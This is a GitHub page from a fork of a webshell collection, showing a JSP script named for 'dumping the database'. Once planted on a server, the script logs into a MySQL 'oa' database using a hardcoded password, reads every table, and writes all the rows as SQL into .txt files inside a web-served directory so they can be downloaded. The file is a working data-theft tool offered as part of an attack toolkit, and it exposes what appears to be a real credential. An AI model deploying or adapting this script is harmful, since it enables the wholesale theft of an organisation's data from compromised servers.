forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmysql_jsp脱裤.txt
89 lines (79 loc) · 2.87 KB
/
mysql_jsp脱裤.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
//±¸·ގļ�ľ�¾¶
String backupDir = "/home/tomcat-oa/webapps/ROOT/video/ab1/";
String ex=".txt";
String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://localhost:3306/oa";
String username = "oa";
String password = "LOa2(2.DX,v>15^td8nWe!L";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
// Get tables
DatabaseMetaData dmd = conn.getMetaData();
ResultSet rs = dmd.getTables(null, null, "%", null);
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(3));
}
rs.close();
ResultSetMetaData rsmd = null;
Statement stmt = conn.createStatement();
for (String table : tables) {
rs = stmt.executeQuery("SHOW CREATE TABLE " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
/*
* mysql> SHOW CREATE TABLE t\G
*************************** 1. row ***************************
* Table: t
* Create Table: CREATE TABLE t (
* id int(11) default NULL auto_increment,
* s char(60) default NULL,
* PRIMARY KEY (id)
* ) TYPE=MyISAM
*/
// JDBC is 1-based, Java is not !?
// osw.append(rs.getString(2) + "\n\n");
}
rs.close();
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
rs = stmt.executeQuery("SELECT * FROM " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmd.getColumnCount(); col++) {
bw.append("'");
if (rs.getString(col) == null)
bw.append("");
else
bw.append(rs.getString(col));
if (col == rsmd.getColumnCount())
bw.append("'");
else
bw.append("',");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
rs.close();
}
stmt.close();
out.println("backup is ok");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>